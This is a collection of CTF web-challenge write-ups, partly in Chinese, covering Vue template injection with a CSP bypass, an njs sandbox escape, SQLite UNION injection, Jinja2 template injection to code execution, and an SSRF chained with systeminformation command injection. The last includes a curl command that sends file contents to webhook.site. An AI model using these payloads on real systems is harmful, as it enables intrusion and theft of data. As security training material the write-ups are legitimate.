            {"target": "6", "title":"A06:2021-Vulnerable","description":" and Outdated Components was previously titled Using Components with Known Vulnerabilities and is #2 in the Top 10 community survey, but also had enough data to make the Top 10 via data analysis. This category moves up from #9 in 2017 and is a known issue that we struggle to test and assess risk. It is the only category not to have any Common Vulnerability and Exposures (CVEs) mapped to the included CWEs, so a default exploit and impact weights of 5.0 are factored into their scores."},
            {"target": "7", "title":"A07:2021-Identification and Authentication Failures","description":" was previously Broken Authentication and is sliding down from the second position, and now includes CWEs that are more related to identification failures. This category is still an integral part of the Top 10, but the increased availability of standardized frameworks seems to be helping."},
            {"target": "8", "title":"A08:2021-Software and Data Integrity Failures","description":" is a new category for 2021, focusing on making assumptions related to software updates, critical data, and CI/CD pipelines without verifying integrity. One of the highest weighted impacts from Common Vulnerability and Exposures/Common Vulnerability Scoring System (CVE/CVSS) data mapped to the 10 CWEs in this category. A8:2017-Insecure Deserialization is now a part of this larger category."},
            {"target": "9", "title":"A09:2021-Security Logging and Monitoring Failures","description":" was previously A10:2017-Insufficient Logging & Monitoring and is added from the Top 10 community survey (#3), moving up from #10 previously. This category is expanded to include more types of failures, is challenging to test for, and isn't well represented in the CVE/CVSS data. However, failures in this category can directly impact visibility, incident alerting, and forensics."},
            {"target": "10", "title":"A10:2021-Server-Side Request Forgery","description":" is added from the Top 10 community survey (#1). The data shows a relatively low incidence rate with above average testing coverage, along with above-average ratings for Exploit and Impact potential. This category represents the scenario where the security community members are telling us this is important, even though it's not illustrated in the data at this time."},
            ].filter(e=>{
              return (e.title + ' - ' + e.description)
                .includes(new URL(location).searchParams.get('s')|| ' ');
            }),
          "search": new URL(location).searchParams.get('s')
        }
      })
    }
  </script>
  <script nonce="58d08eb122159ce2369f901f5d125462">
    var delimiters = ['v-{{', '}}'];
    addJS('./vuejs.php', initVUE);
  </script>
  <script nonce="58d08eb122159ce2369f901f5d125462">
    if (!window.isProd){
      let version = new URL(location).searchParams.get('version') || '';
      version = version.slice(0,12);
      let vueDevtools = new URL(location).searchParams.get('vueDevtools') || '';
      vueDevtools = vueDevtools.replace(/[^0-9%a-z/.]/gi,'').replace(/^\/\/+/,'');

      if (version === 999999999999){
        setTimeout(window.legacyLogger, 1000);
      } else if (version > 1000000000000){
        addJS(vueDevtools, window.initVUE);
      } else{
        console.log(performance)
      }
    }
  </script>
</head>
<body>
<div id="app">
<form action="" method="GET">
<input type="text "name="s" v-model="search"/>
<input type="submit" value="🔍">
</form>
<p>You searched for v-{{search}}</p>
<ul class="tilesWrap">
  <li v-for="item in owasp">
    <h2>v-{{item.target}}</h2>
    <h3>v-{{item.title}}</h3>
    <p>v-{{item.description}}</p>
    <p>
      <a v-bind:href="'https://blog.intigriti.com/2021/09/10/owasp-top-10/#'+item.target" target="blog" class="readMore">Read more</a>
    </p>
  </li>
</ul>
</div>
</body>
</html>

Writeup

It's obviously we can inject arbitrary html via ?s= query string, but v-{{}} is filtered so we can't just do CSTI:

https://challenge-1121.intigriti.io/challenge/index.php?s=v-{{}}

You searched for '%v%{{}}'

Another interesting part is here:

if (!window.isProd){
  let version = new URL(location).searchParams.get('version') || '';
  version = version.slice(0,12);
  let vueDevtools = new URL(location).searchParams.get('vueDevtools') || '';
  vueDevtools = vueDevtools.replace(/[^0-9%a-z/.]/gi,'').replace(/^\/\/+/,'');

  if (version === 999999999999){
    setTimeout(window.legacyLogger, 1000);
  } else if (version > 1000000000000){
    addJS(vueDevtools, window.initVUE);
  } else{
    console.log(performance)
  }
}

First, version === 999999999999 is impossible to achieve because version is a string and 999999999999 is number, how about version > 1000000000000?

It seems also not possible because we only take first 12 characters of version and 1000000000000 is 13 digits, it's always smaller.

Here comes the interesting part, there is a number in JS called Infinity, it's bigger than any other numbers. When JS engine runs the comparison between string and number, it tries to cast string to number first, so 'Infinity' > 1000000000000 is true!

But, how can we make window.isProd falsy? DOM clobbering is not useful here because we already declared a global variablevar isProd = true; above.

I came up with a solution, we can inject <script> tag like this:

https://challenge-1121.intigriti.io/challenge/index.php?s=security%3C/title%3E%3Cscript%3E

By doing so, the script is blocked by CSP because there is no nonce in attribute.

After bypass this, we can manipulate the src of newly inserted script. But, there are some restrictions on it:

vueDevtools = vueDevtools.replace(/[^0-9%a-z/.]/gi,'').replace(/^\/\/+/,'');

Don't forget the CSP as well:

content-security-policy: base-uri 'self'; default-src 'self'; script-src 'unsafe-eval' 'nonce-5ca758a744d3dce316e1680e295c5c89' 'strict-dynamic'; object-src 'none'; style-src 'sha256-dpZAgKnDDhzFfwKbmWwkl1IEwmNIKxUv+uw+QP89W3Q='

I stuck here for a day because I can't inject anything useful.

Then, I saw the hint from this tweet:

Sometimes, you need to make your enemy stronger in order to be able to break it! That's just our policy!

I had a feeling it's something to do with CSP, and it's right.

The HTML injection is in the <head>,so we can inject CSP. You may wondering, why would we do that?

Because we can prevent certain scripts from execution by putting stronger policy!

An example here: https://challenge-1121.intigriti.io/challenge/index.php?s=</title><meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval' 'strict-dynamic';">

We removed nonce in CSP so you will see four errors in the console:

By adding sha-xxx to CSP, we can choose which script to load.

It's much easier now, we have 4 scripts:

<script nonce="6937ca6465a9df0b11dd56232ced38">
  // 1
  var isProd = true;
</script>
<script nonce="6937ca6465a9df0b11dd56232ced38">
  // 2
  function addJS(src, cb){
    let s = document.createElement('script');
    s.src = src;
    s.onload = cb;
    let sf = document.getElementsByTagName('script')[0];
        sf.parentNode.insertBefore(s, sf);
  }
  
  function initVUE(){
    if (!window.Vue){
      setTimeout(initVUE, 100);
    }
    new Vue({
      el: '#app',
      delimiters: window.delimiters,
      data: {
        "owasp":[
          {"target": "1", "title":"A01:2021-Broken Access Control","description":" moves up from the fifth position to the category with the most serious web application security risk; the contributed data indicates that on average, 3.81% of applications tested had one or more Common Weakness Enumerations (CWEs) with more than 318k occurrences of CWEs in this risk category. The 34 CWEs mapped to Broken Access Control had more occurrences in applications than any other category."},
          {"target": "2", "title":"A02:2021-Cryptographic Failures","description":" shifts up one position to #2, previously known as A3:2017-Sensitive Data Exposure, which was broad symptom rather than a root cause. The renewed name focuses on failures related to cryptography as it has been implicitly before. This category often leads to sensitive data exposure or system compromise."},
          {"target": "3", "title":"A03:2021-Injection","description":" slides down to the third position. 94% of the applications were tested for some form of injection with a max incidence rate of 19%, an average incidence rate of 3.37%, and the 33 CWEs mapped into this category have the second most occurrences in applications with 274k occurrences. Cross-site Scripting is now part of this category in this edition."},
          {"target": "4", "title":"A04:2021-Insecure Design","description":" is a new category for 2021, with a focus on risks related to design flaws. If we genuinely want to \"move left\" as an industry, we need more threat modeling, secure design patterns and principles, and reference architectures. An insecure design cannot be fixed by a perfect implementation as by definition, needed security controls were never created to defend against specific attacks."},
          {"target": "5", "title":"A05:2021-Security Misconfiguration","description":" moves up from #6 in the previous edition; 90% of applications were tested for some form of misconfiguration, with an average incidence rate of 4.5%, and over 208k occurrences of CWEs mapped to this risk category. With more shifts into highly configurable software, it's not surprising to see this category move up. The former category for A4:2017-XML External Entities (XXE) is now part of this risk category."},
          {"target": "6", "title":"A06:2021-Vulnerable","description":" and Outdated Components was previously titled Using Components with Known Vulnerabilities and is #2 in the Top 10 community survey, but also had enough data to make the Top 10 via data analysis. This category moves up from #9 in 2017 and is a known issue that we struggle to test and assess risk. It is the only category not to have any Common Vulnerability and Exposures (CVEs) mapped to the included CWEs, so a default exploit and impact weights of 5.0 are factored into their scores."},
          {"target": "7", "title":"A07:2021-Identification and Authentication Failures","description":" was previously Broken Authentication and is sliding down from the second position, and now includes CWEs that are more related to identification failures. This category is still an integral part of the Top 10, but the increased availability of standardized frameworks seems to be helping."},
          {"target": "8", "title":"A08:2021-Software and Data Integrity Failures","description":" is a new category for 2021, focusing on making assumptions related to software updates, critical data, and CI/CD pipelines without verifying integrity. One of the highest weighted impacts from Common Vulnerability and Exposures/Common Vulnerability Scoring System (CVE/CVSS) data mapped to the 10 CWEs in this category. A8:2017-Insecure Deserialization is now a part of this larger category."},
          {"target": "9", "title":"A09:2021-Security Logging and Monitoring Failures","description":" was previously A10:2017-Insufficient Logging & Monitoring and is added from the Top 10 community survey (#3), moving up from #10 previously. This category is expanded to include more types of failures, is challenging to test for, and isn't well represented in the CVE/CVSS data. However, failures in this category can directly impact visibility, incident alerting, and forensics."},
          {"target": "10", "title":"A10:2021-Server-Side Request Forgery","description":" is added from the Top 10 community survey (#1). The data shows a relatively low incidence rate with above average testing coverage, along with above-average ratings for Exploit and Impact potential. This category represents the scenario where the security community members are telling us this is important, even though it's not illustrated in the data at this time."},
          ].filter(e=>{
            return (e.title + ' - ' + e.description)
              .includes(new URL(location).searchParams.get('s')|| ' ');
          }),
        "search": new URL(location).searchParams.get('s')
      }
    })
  }
</script>
<script nonce="6937ca6465a9df0b11dd56232ced38">
  // 3
  var delimiters = ['v-{{', '}}'];
  addJS('./vuejs.php', initVUE);
</script>
<script nonce="6937ca6465a9df0b11dd56232ced38">
  // 4
  if (!window.isProd){
    let version = new URL(location).searchParams.get('version') || '';
    version = version.slice(0,12);
    let vueDevtools = new URL(location).searchParams.get('vueDevtools') || '';
    vueDevtools = vueDevtools.replace(/[^0-9%a-z/.]/gi,'').replace(/^\/\/+/,'');

    if (version === 999999999999){
      setTimeout(window.legacyLogger, 1000);
    } else if (version > 1000000000000){
      addJS(vueDevtools, window.initVUE);
    } else{
      console.log(performance)
    }
  }
</script>

We can disable these two:

<script nonce="6937ca6465a9df0b11dd56232ced38">
  // 1
  var isProd = true;
</script>
<script nonce="6937ca6465a9df0b11dd56232ced38">
  // 3
  var delimiters = ['v-{{', '}}'];
  addJS('./vuejs.php', initVUE);
</script>

So isProd will be falsy and window.delimiters will be undefined, and then we can use normal {{}} to do CSTI.

For vueDevtools, we just simply put vuejs.php to manually load vue.js.

It's my final payload:

https://challenge-1121.intigriti.io/challenge/index.php?s=
</title>
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
<div id=app>
    {{constructor.constructor('alert(document.domain)')()}}
</div>
&version=Infinity
&vueDevtools=vuejs.php

justCTF [*] 2020 - 檢討

因為一題都沒解出來所以就只好來檢討了,一樣以 web 題為主

njs

source code:

var Calculator = function(result){
    this.result = result;
};

Calculator.prototype.addEquation = function(op, x, y){
    this.result = this[op](x, y);
    return this.result
};

Calculator.prototype.toString = function(prop) {
    if(prop) {
        return this.result[prop]
    }
    return this.result;
};

Calculator.prototype.add = function(x, y) {
    if(y != null)
        return x + y;
    return this.result + x;
};
Calculator.prototype.sub = function(x, y) {
    if(y != null)
        return x - y;
    return this.result - x;
};
Calculator.prototype.mul = function(x, y) {
    if(y != null)
        return x * y;
    return this.result * x;
};
Calculator.prototype.div = function(x, y) {
    if(y != null)
        return x / y;
    return this.result / x;
};

function template() {
    return  "<html>" +
        "<head></head><body>" +
        "<form id='form' method='post'>" +
        "<input name='x' type='text' value='7'>" +
        "<select name='op'>" +
        "<option value='add'>+</option>" +
        "<option value='sub'>-</option>" +
        "<option selected value='mul'>*</option>" +
        "<option value='div'>/</option>" +
        "</select>" +
        "<input name='y' type='text' value='7'>" +
        "<span>=</span>" +
        "<span id='result'>?</span>" +
        "<input type='submit' value='Calc'/>" +
        "</form>" +
        "<!-- <a href='/source'>source</a> -->" +
        "<script>function onSubmit(t){t.preventDefault();try{(async()=>{var t={};const e=new FormData(document.querySelector(\"form\"));for(var n of e.entries())t[n[0]]=n[1];try{var r=await fetch(\"/\",{method:\"POST\",headers:{Accept:\"application/json\",\"Content-Type\":\"application/json\"},body:JSON.stringify([{op:t.op,x:parseInt(t.x),y:parseInt(t.y)}])});document.getElementById(\"result\").innerText=await r.text()}catch(t){document.getElementById(\"result\").innerText=t.toString()}})()}catch(t){}return!1}document.getElementById(\"form\").addEventListener(\"submit\",onSubmit);</script>" +
        "<!-- <a href='/source'>source</a> -->" +
        "</body></html>"
}

// GET /
// POST /
function handlerCalc(r) {
    r.headersOut['Content-Type'] = 'text/html';
    if (r.method !== "POST") {
        r.return(200, template());
        return;
    }

    try {
        var data = r.requestBody;
        var calc = new Calculator(0);
        var calls = JSON.parse(data);
        for(var i = 0; i<calls.length; i++) {
            var call = calls[i];
            calc.addEquation(call.op, call.x, call.y);
        }
        r.return(200, calc.toString());
    } catch (e) {
        r.return(500, e.toString());
    }
}

// GET /source
function handlerSource(r) {
    r.headersOut['Content-Type'] = 'text/plain';
    r.return(200, require("fs").readFileSync("/etc/nginx/server.js"));
}

// GET /info
function handlerInfo(r) {
    r.headersOut['Content-Type'] = 'text/plain';
    r.return(200, njs.dump(global));
}

/*
Hint1: We are using docker image `nginx:1.19.5-alpine`
Hint2: Flag is in `/home/` directory
*/
export default {handlerCalc, handlerSource, handlerInfo};

這一題當初看滿久的,看一看發現那個 toString 很可疑,想一想就發現可以傳多個 ops 進去,就可以讓 thtis.result 是 function constructor 然後執行:

[
  {
    "op": "toString",
    "x": "constructor" // this.result = (0).constructor => function Number
  },
  {
    "op": "toString",
    "x": "constructor" // this.result = Number.constructor => function constructor
  },
  {
    "op": "result",
    "x": "return 123" // this.result = Function("return 123")
  },
  {
    "op": "result",
    "x": "run" // this. result = this.result("run")
  }
]

但這樣做會噴一個 TypeError: function constructor is disabled in "safe" mode 的 error

直接拿關鍵字餵狗:njs TypeError: function constructor is disabled in "safe" mode,可以找到這段 diff:https://hg.nginx.org/njs/rev/142b3fec5d4f

一開始沒仔細看,後來仔細看發現有一段在說如果 function body 是 return this 就給過

    if (!vm->options.unsafe) {
        body = njs_argument(args, nargs - 1);
        ret = njs_value_to_string(vm, body, body);
        if (njs_slow_path(ret != NJS_OK)) {
            return ret;
        }

        njs_string_get(body, &str);

        /*
         * Safe mode exception:
         * "(new Function('return this'))" is often used to get
         * the global object in a portable way.
         */

        if (str.length != njs_length("return this")
            || memcmp(str.start, "return this", 11) != 0)
        {
            njs_type_error(vm, "function constructor is disabled"
                           " in \"safe\" mode");
            return NJS_ERROR;
        }
    }

可是雖然過了但沒什麼用,然後題目又有給一個列出 global 的 endpoint,底下有個 process,我就一直想說是不是要用 glboal,或是透過 global 拿到 global.eval 來做事,就在想怎麼樣拿到 global 但想不出來

你 function 是 this.result 所以怎麼呼叫 this 都會是 c 而不會是 global QQ

後來看到 discord 上的討論,都怪我沒有把程式碼看完,我找到正確的地方了但沒仔細看:https://github.com/nginx/njs/blob/0.4.4/src/njs_function.c

njs_chb_append_literal(&chain, "(function(");
for (i = 1; i < nargs - 1; i++) {
    ret = njs_value_to_chain(vm, &chain, njs_argument(args, i));
    if (njs_slow_path(ret < NJS_OK)) {
        return ret;
    }

    if (i != (nargs - 2)) {
        njs_chb_append_literal(&chain, ",");
    }
}

njs_chb_append_literal(&chain, "){");

ret = njs_value_to_chain(vm, &chain, njs_argument(args, nargs - 1));
if (njs_slow_path(ret < NJS_OK)) {
    return ret;
}

njs_chb_append_literal(&chain, "})");

他是用字串拼接的方式把 function 拼起來,簡而言之就是:(function(args){body}),其中 body 一定要是 return this 才給過,所以就是:(function(args){return this}),但問題是 args 是可控的!

所以可以這樣搞:(function(){return 123})//){return this}),其中的參數部分就是:){return 123})//

透過這樣的方式就可以執行任意 js 了:

先用 require('fs').readdirSync('/home') 讀出檔案名稱,最後 payload:

[
  {
    "op": "toString",
    "x": "constructor"
  },
  {
    "op": "toString",
    "x": "constructor"
  },
  {
    "op": "result",
    "x": "){return require('fs').readFileSync('/home/RealFlagIsHere1337.txt').toString()})//",
    "y": "return this"
  }, {
    "op": "result"
  }
]

這題滿有趣的,應該是這次我最有機會過的一題但沒把握住

Forgotten name

我連題目都看不太懂...我有嘗試去找 justctf.team 有哪些 subdomain 但找錯方向了
應該要找 jctf.pro 才對
筆記幾個好用服務

https://crt.sh/?q=jctf.pro
https://transparencyreport.google.com/https/certificates?cert_search_auth=&cert_search_cert=&cert_search=include_subdomains:true;domain:web.jctf.pro&lu=cert_search_cert

Baby CSP

<?php
require_once("secrets.php");
$nonce = random_bytes(8);

if(isset($_GET['flag'])){
 if(isAdmin()){
    header('X-Content-Type-Options: nosniff');
    header('X-Frame-Options: DENY');
    header('Content-type: text/html; charset=UTF-8');
    echo $flag;
    die();
 }
 else{
     echo "You are not an admin!";
     die();
 }
}

for($i=0; $i<10; $i++){
    if(isset($_GET['alg'])){
        $_nonce = hash($_GET['alg'], $nonce);
        if($_nonce){
            $nonce = $_nonce;
            continue;
        }
    }
    $nonce = md5($nonce);
}

if(isset($_GET['user']) && strlen($_GET['user']) <= 23) {
    header("content-security-policy: default-src 'none'; style-src 'nonce-$nonce'; script-src 'nonce-$nonce'");
    echo <<<EOT
        <script nonce='$nonce'>
            setInterval(
                ()=>user.style.color=Math.random()<0.3?'red':'black'
            ,100);
        </script>
        <center><h1> Hello <span id='user'>{$_GET['user']}</span>!!</h1>
        <p>Click <a href="?flag">here</a> to get a flag!</p>
EOT;
}else{
    show_source(__FILE__);
}

// Found a bug? We want to hear from you! /bugbounty.php
// Check /Dockerfile

https://hackmd.io/@terjanq/justCTF2020-writeups

最後的解法是這樣:

<script>
    name="fetch('?flag').then(e=>e.text()).then(alert)"
    
    location = 'https://baby-csp.web.jctf.pro/?user=%3Csvg%20onload=eval(name)%3E&alg='+'a'.repeat('292');
    
</script>

原來可以這樣運用 name 的嗎?這樣的話看起來是共用同一個 window?先讓 name = payload,再用 eval(name) 來逃避字數限制,看來該找時間研究一下 top window,我都不知道還可以這樣,讓跳轉後的網頁用到前面網頁的 name

CSP header 利用 PHP 特性蓋掉

Computeration

這題我方向有對但不知道怎麼實作XD

有想到利用 REDOS 搭配 timing attack 應該可以把 flag 弄出來但不知道怎麼實作

https://hackmd.io/@terjanq/justCTF2020-writeups

看了 writeup 沒有很懂,之後有機會再找時間實作看看

0x41414141 CTF 2021 - maze

一個 login page,帳號密碼嘗試 sql injection 發現沒有用

基本上 html source 找不到任何線索,靈機一動試試看:http://207.180.200.166:9000/robots.txt

發現中了,內容給了一個 http://207.180.200.166:9000/sup3r_secr37_@p1

進去之後發現是 grahpql viewer,怎麼這麼愛 graphql XD

利用之前的招數({__schema{types{name,fields{name}}}})慢慢試,可以組出完整 query

{
  allTraders {
    edges {
      node {
        id,
        uuid,
        username,
        coins {
          edges {
            node {
              uuid,
              id,
              title,
              body,
              password,
              authorId,
              ownedCoins
            }
          }
        }
      }
    }
  }
}

拿到的資料是:

{
  "data": {
    "allTraders": {
      "edges": [
        {
          "node": {
            "id": "VHJhZGVyT2JqZWN0OjE=",
            "uuid": "1",
            "username": "pop_eax",
            "coins": {
              "edges": [
                {
                  "node": {
                    "uuid": "1",
                    "id": "Q29pbk9iamVjdDox",
                    "title": "XFT",
                    "body": "XFT is the utility token that grants entry into the Offshift ecosystem",
                    "password": "iigvj3xMVuSI9GzXhJJWNeI",
                    "authorId": 1
                  }
                }
              ]
            }
          }
        }
      ]
    }
  }
}

然後回到首頁用帳號 pop_eax 密碼 iigvj3xMVuSI9GzXhJJWNeI 登入,發現沒用

這時候我想說 iigvj3xMVuSI9GzXhJJWNeI 是不是某種加密或是 hash 需要先弄成明碼,就這樣找了半小時但毫無所獲

最後真的沒招了,只好把帳號輸入成 XFT 然後密碼 iigvj3xMVuSI9GzXhJJWNeI,發現過了....

當成直接罵了一聲髒話,為什麼帳號不是 username 啊 QQ
半小時就這樣不見了QQ

接著會進入到這樣的頁面:

點進去 trade 之後就會到 http://207.180.200.166:9000/trade?coin=xft

然後裡面基本上也沒功能

因為那個參數看起來很可疑,就嘗試 injection 發現應該是可行的,因為 http://207.180.200.166:9000/trade?coin=' 會直接噴一個錯誤

但接下來我在這邊卡了很久,可能有半小到一個小時,因為 union 會噴 500 internal server error,我一度懷疑是不是不能用,就在網路上尋找其他攻擊方式

失敗的 payload:

' union select 1,1 ;--

後來想一想覺得沒道理啊,怎麼會失敗,就靈機一動想說:「該不會用字串就可以吧」,於是試了:

' union select 'a','a' ;--

靠杯勒還真的可以

接下來就是 sqlite injection 了,可以慢慢把每一個 table name 跟 schema 弄出來:

' union SELECT tbl_name, 'a' FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0 --

一拿就拿到一個叫做 admin 的 table,可以把 sql dump 出來:

' union SELECT sql, 'a' FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='admin' --

然後 admin 試著把裡面東西拿出來,拿到 admin:p0To3zTQuvFDzjhO9

接著清 cookie 回首頁嘗試,發現毫無反應,這邊我又卡了 30 分鐘,我想說是不是 flag 藏其他地方,就把所有 table 都 dump 出來了:

CREATE TABLE admin(username TEXT NOT NULL, password TEXT NOT NULL)
CREATE TABLE traders (
              uuid INTEGER NOT NULL,
              username VARCHAR(256),
              PRIMARY KEY (uuid)
              )</p>
CREATE TABLE coins (
              uuid INTEGER NOT NULL,
              title VARCHAR(256),
              body TEXT,
              password TEXT,
              author_id INTEGER,
              PRIMARY KEY (uuid),
              FOREIGN KEY(author_id) REFERENCES traders (uuid)
              )</p>
CREATE TABLE coin_data (coin_name text primary key, coin_desc text NOT NULL)


' union SELECT 'a', username || ' ' || password FROM admin limit 1 offset 0 --

' union SELECT 'a', coin_name || ' ' || coin_desc FROM coin_data limit 1 offset 0 --

後來發現沒有其他可疑的東西,一度試到想放棄,最後想說再回登入後的首頁看一下好了,這時我是把 devtool 關起來的,於是我看到了...

靠杯,RWD 沒做好吧QQ
因為開了 devtool 所以右上角那個 admin 我之前沒看到
30 分鐘不見了 QQ

點下去之後到新的登入頁面,輸入上面 admin 帳密過關,到了最後一關:

開 devtool 發現會設一個 cookie 叫做 name,然後會反射在 html source code 當中,第一直覺想到的就是 SSTI,試了 {{1+1}},最後 html 輸出 2,中了!

透過 {{7*'7'}} 輸出 7777777,可以知道是 Jinja2

接下來就是 python 苦手如我的一波亂試,找到了:Templates Injections 還有 [Day14] - SSTI(Server-side template injection)(2)

試過了:

{{config.items()}}
{{ [].class.base.subclasses() }}
{{"".__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__['os'].system('whoami')}}
{{ get_flashed_messages.__globals__.__builtins__.open("/etc/passwd").read()  }}

最後一個是有用的,但看起來只讀檔案是沒用的,應該要 RCE 才行。但 python 我幾乎完全不會,只好隨意亂找有沒有可用的 payload。

最後是找到這篇:利用 Python 特性在 Jinja2 模板中执行任意代码,看到裡面的:

{{ os.popen('echo Hello RCE').read() }}

才結合剛剛試出來的,變成這樣:

name={{ get_flashed_messages.__globals__['os'].system('ls /') }};

接著就是開始找 flag,最後的 payload:

name={{ get_flashed_messages.__globals__['os'].popen('cat flag.txt').read() }};

VolgaCTF 2021 Qualifier - Unicorn Networks

Unicorn Networks

Description

Protection of the admin section needs to be more robust...

Writeup

There is an api to fetch other url: http://192.46.237.106:3000/api/getUrl?url=http://example.com, I tried with some random ip and this one result in error: http://192.46.237.106:3000/api/getUrl?url=http://127.0.0.1

{
    "status": "error",
    "content": {
        "message": "Request failed with status code 503",
        "name": "Error",
        "config": {
            "url": "http:/127.0.0.1",
            "method": "get",
            "headers": {
                "Accept": "application/json, text/plain, */*",
                "User-Agent": "axios/0.21.0",
                "host": "null"
            },
            "proxy": {
                "host": "proxy.corp.local",
                "port": 3128
            },
            "transformRequest": [
                null
            ],
            "transformResponse": [
                null
            ],
            "timeout": 0,
            "xsrfCookieName": "XSRF-TOKEN",
            "xsrfHeaderName": "X-XSRF-TOKEN",
            "maxContentLength": -1,
            "maxBodyLength": -1
        }
    }
}

Then I tried to send request to proxy.corp.local but found nothing, stuck here for a while. A few moments later, I noticed the package name and the version in the response so I tired to google axios 0.21.0 vuln.

Look what I found: Requests that follow a redirect are not passing via the proxy #3369

There is a SSRF vuln in this version so I created a simple proxy server:

const http = require('http')

http.createServer(function (req, res) { 
  res.writeHead(302, {location: 'http://127.0.0.1'})
  res.end()
}).listen(5566)

I tried few ip and domain but found nothing, stuck again. Later on, I went back and checked the chall description again: Protection of the admin section needs to be more robust....

So I tried: http://127.0.0.1/admin and to my surprise, I got access to admin page:

<html>
  <head>
    <title>System information</title>
  </head>
  <body>
    <h2>Get OS Information</h2>
    <button onclick="retrieveOSInfo();false;">Retrieve</button>

    <h2>Get service info</h2>
    <input type="text" id="serviceName" value="nginx">
    <button onclick="retrieveServiceInfo();false;">Retrieve</button>

    <h2>Output</h2>
    <textarea id="output"></textarea>
  </body>
  <script>
    function retrieveOSInfo() {
      fetch('/api/admin/os_info')
        .then(response => {
                    if (response.status == 200) {
                        return response.json();
                    }
                    throw Error('Server is unavailable');
                },
                failResponse => {
                    printOutput('Server is unavailable');
                })
                .then(result => {
                    printApiResult(result);
                },
                errorMsg => {
                    printOutput(errorMsg);
                });
    }

    function retrieveServiceInfo() {
      fetch('/api/admin/service_info?name=' + encodeURIComponent(serviceName.value))
        .then(response => {
                    if (response.status == 200) {
                        return response.json();
                    }
                    throw Error('Server is unavailable');
                },
                failResponse => {
                    printOutput('Server is unavailable');
                })
                .then(result => {
                    printApiResult(result[0]);
                },
                errorMsg => {
                    printOutput(errorMsg);
                });
    }

    function printApiResult(jsonObject) {
      result = '';
      for (const [key, value] of Object.entries(jsonObject)) {
        result += `${key}: ${value}\n`;
      }
      printOutput(result);
    }

    function printOutput(content) {
      output.value = content;
    }
  </script>
</html>

There are two hidden api endpoints, I tried both and here is the response for the service one:

{"status":"ok","content":[{"name":"nginx" ,"running":false,"startmode":"","pids":[],"pcpu":0,"pmem":0}]}

I googled the keyword: running":true,"startmode":"","pids" and realized that it's from a package called systeminformation

Let's do another round of search, systeminformation vulnerability. I found these two links:

  1. https://snyk.io/vuln/SNYK-JS-SYSTEMINFORMATION-1074913
  2. https://github.com/ForbiddenProgrammer/CVE-2021-21315-PoC

The POC is quite useful, we can do command injection via name[]=$(ls)

But I don't know how to do reverse shell so I use another way, maybe stupid but works: https://stackoverflow.com/questions/15912924/how-to-send-file-contents-as-body-entity-using-curl

curl -d "$(cat ./*)"  https://webhook.site/f77fba3b-a14a-4fad-a39e-2f439861882a
const http = require('http')

http.createServer(function (req, res) { 
  let send = 'curl -d "$(cat ./*)"  https://webhook.site'
  res.writeHead(302, {location: 'http://127.0.0.1/api/admin/service_info?name[]='+encodeURIComponent("$(" + send + ")")})
  res.end()
}).listen(5566)

Got the flag in the end.

zer0pts CTF 2021 - Kantan Calc

Kantan Calc

Description

"Kantan" means simple or easy in Japanese.

source code:

const express = require('express');
const path = require('path');
const vm = require('vm');
const FLAG = require('./flag');

const app = express();

app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.static(path.join(__dirname, 'public')));

app.get('/', function (req, res, next) {
  let output = '';
  const code = req.query.code + '';

  if (code && code.length < 30) {
    try {
      const result = vm.runInNewContext(`'use strict'; (function () { return ${code}; /* ${FLAG} */ })()`, Object.create(null), { timeout: 100 });
      output = result + '';
      if (output.includes('zer0pts')) {
        output = 'Error: please do not exfiltrate the flag';
      }
    } catch (e) {
      output = 'Error: error occurred';
    }
  } else {
    output = 'Error: invalid code';
  }

  res.render('index', { title: 'Kantan Calc', output });
});

app.get('/source', function (req, res) {
  res.sendFile(path.join(__dirname, 'app.js'));
});

module.exports = app;

Writeup

This one is interesting because the flag is part of comment inside the function.

In JavaScript, you can get function body by casting it to a string:

function a() {}
console.log(a+'')
// "function a() {}"

We need to find out how to do this for the function provided by the challenge.

I think use strict is the core of this challenge because it's much easier without strict mode. In non-strict mode, arguments.calle returns it self for IIFE(Immediately Invoked Function Expression).

(function(){ return arguments.callee+''; /* flag */})()

In strict mode it's not working and result in this error:

Uncaught TypeError: 'caller', 'callee', and 'arguments' properties may not be accessed on strict mode functions or the arguments objects for calls to them

I took some times to think about if there is another way to access an anonymous function without arguments.callee, finally I realized it's a dead end.

What if we change our direction? If we can access process, we can require('./flag') ourself to get the flag, without dumping the function body.

By googling vm nodejs escape or vm nodejs bypass I read some articles, but it seems none of them works, it's a dead end as well.

A few minutes later, I started to notice what makes it a dead end: function name. Because we can't get the function body without function name in strict mode.

We need to think outside the box, we can actually named the function. Or more specifically, create the named function ourself by close the current one and start a new one.

// original
use strict';
(function () { return ${code}; /* ${FLAG} */ })()

// we can close the current one and start a new one
var code = `});(function a(){return a+''`

// become
use strict';
(function () { return });(function a(){return a+''; /* ${FLAG} */ })()

Cool, it works! It returns the whole function body including flag.

But it's 28 in length already, we can't bypass if (output.includes('zer0pts')){} because adding replace exceeds the limitation.

We need to shorten our exploit code, it seems the arrow function can help.

var code = `});(this.a=()=>{return a+''`

use strict';
(function () { return });(this.a=()=>{return a+''; /* ${FLAG} */ })()

The length is 27, we are trying so hard to cut one character 😂.

Noticed that I use this.a=()=> here because (var a=()=>)() will raise an error: Uncaught SyntaxError: Unexpected token 'var', there is no such syntax. So I assign the arrow function to existing object to make it work.

When I reached here I feel I was so close, it's almost there. We don't need replace because it's too long. All we need is [0], we can extract the flag one by one to bypass the check.

But });(this.a=()=>{return (a+'')[0] is 32 in length, so sad. How to reduce more characters?

Let's start with the long one: return. Arrow function needs no return if it returns value directly.

var code = `});(this.a=()=>(a+'')[0]`

use strict';
(function () { return });(this.a=()=>(a+'')[0]; /* ${FLAG} */ })()

We are getting closer, although it doesn't work because of the annoying ; and }, the length is 24.

After 10~15 minutes, I figure out how to bypass it. Use /* to comment out ; and use +{ to make it an empty object!

var code = `});(this.a=()=>(a+'')[0]+{/*`

use strict';
(function () { return });(this.a=()=>(a+'')[0]+{/*; /* ${FLAG} */ })()

// output: ([object Object]

The length is 28, so replace [0] with [10] is 29, just fit the limitation perfectly!

